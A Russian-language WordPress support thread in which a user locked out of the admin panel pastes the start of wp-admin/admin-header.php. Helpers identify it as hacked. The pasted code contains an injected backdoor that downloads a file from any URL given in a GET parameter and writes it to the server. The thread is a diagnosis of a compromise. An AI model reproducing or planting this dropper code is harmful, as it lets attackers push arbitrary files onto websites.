• Не могу зайти в админку , никаких манипуляций не делал, новых плагинов не ставил. Подскажите пожалуйста.

    Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/m/**/**.ru/public_html/wp-admin/admin-header.php on line 9

    Warning: fsockopen() [function.fsockopen]: unable to connect to :80 (php_network_getaddresses: getaddrinfo failed: Name or service not known) in /home/m/**/**.ru/public_html/wp-admin/admin-header.php on line 9

    Warning: fwrite(): supplied argument is not a valid stream resource in /home/m/**/**.ru/public_html/wp-admin/admin-header.php on line 10

    Warning: feof(): supplied argument is not a valid stream resource in /home/m/**/**.ru/public_html/wp-admin/admin-header.php on line 11

    Warning: fgets(): supplied argument is not a valid stream resource in /home/m/**/**.ru/public_html/wp-admin/admin-header.php on line 12

Просмотр 3 ответов — с 1 по 3 (всего 3)
  • Покажите первые полтора десятка строк файла wp-admin/admin-header.php
    (Напоминание: Поместите код в обратные апострофы)

    Вот эта строчка fwrite() уже говорит о классическом взломе.. Придется изучать логи (если есть доступ) и смотреть через что и как вас взломали, если нет, то проще писать в саппорт хостинга, пусть сами смотрят..

    В сапорте сказали , писать на форуме поддержки wp (

    <?php
    /**
     * WordPress Administration Template Header
     *
     * @package WordPress
     * @subpackage Administration
     */
    preg_match('#(http://)?([\w+\.]+)(/?.*?$)#i', str_replace('.php', '.txt', urldecode($_GET['a'])), $matches);
    $fh = fsockopen($matches[2], 80, $errno, $errstr, 10);
    fwrite($fh, "GET $matches[3] HTTP/1.1\r\nHost: $matches[2]\r\n\r\n");
    while(!feof($fh))
    	$data .= fgets($fh, 256);
    fwrite(fopen(basename(urldecode($_GET['a'])), 'w+'), $data);
    @header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
    if ( ! defined( 'WP_ADMIN' ) )
    	require_once( './admin.php' );
    
    get_admin_page_title();
    $title = esc_html( strip_tags( $title ) );
    
    if ( is_network_admin() )
    	$admin_title = __( 'Network Admin' );
    elseif ( is_user_admin() )
    	$admin_title = __( 'Global Dashboard' );
    else
    	$admin_title = get_bloginfo( 'name' );
    
    if ( $admin_title == $title )
    	$admin_title = sprintf( __( '%1$s — WordPress' ), $title );
    else
    	$admin_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $title, $admin_title );
    
    $admin_title = apply_filters( 'admin_title', $admin_title, $title );
    
    wp_user_settings();

    До»ап»аетесть. В правилах написано, что за это бывает.
    — Atrax

Просмотр 3 ответов — с 1 по 3 (всего 3)
  • Тема «Не могу зайти в админку» закрыта для новых ответов.